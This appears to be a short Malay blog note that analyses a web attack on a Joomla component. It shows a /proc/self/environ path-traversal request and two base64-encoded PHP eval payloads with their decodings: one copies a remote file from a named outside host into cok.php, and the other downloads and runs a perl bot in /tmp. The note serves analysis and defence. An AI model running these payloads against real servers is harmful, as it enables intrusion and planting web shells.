serangan web

index.php?option=com_xxxxx&controller=..//..//..//..//..//..//..//..///proc/self/environ00

ini akan display environtment variable.

USER_AGENT juga akan di paparkan dalam environtment.

payload 1:
eval (base64_decode('ZWNobyAiYzBsaSMiLnBocF91bmFtZSgpLiIjYzBsaSI7IGlmK EBjb3B5KCJodHRwOi8vd3d3LmdvbGZkci5jby5rci9iYnMvaWNvbi9meC50eHQiLCJjb2sucGhwIikpIHsgZWNobyAiU1VDQ0VTUyI7 IH0= '));
 >>
echo "c0li#".php_uname()."#c0li"; if(@copy("http://www.golfdr.co.kr/bbs/icon/fx.txt","cok.php")) { echo "SUCCESS"; }


payload 2:
eval (base64_decode('c3lzdGVtKCdybSAtcmYgL3RtcC94LWJvdDt3Z2V0IC AtTyAvdG1wL3gtYm90O3BlcmwgL3RtcC94LWJvdDtwZXJsIC90bXAveC1ib3Q7cGVybCAvdG1wL3gtYm90O3JtIC1yZiAvdG1wL3gtYm90Jyk7 '));
>>

system('rm -rf /tmp/x-bot;wget  -O /tmp/x-bot;perl /tmp/x-bot;perl /tmp/x-bot;perl /tmp/x-bot;rm -rf /tmp/x-bot');

Tapi pelik sikit utk command wget -O /tmp/x-bot;

Apa yg mamat ni download? parameter O utk destinasi fail yg didownload. Tapi source URLnya tak de lak.

Mungkin ni intermediate attack, tapi run by hackers wannabe kot :)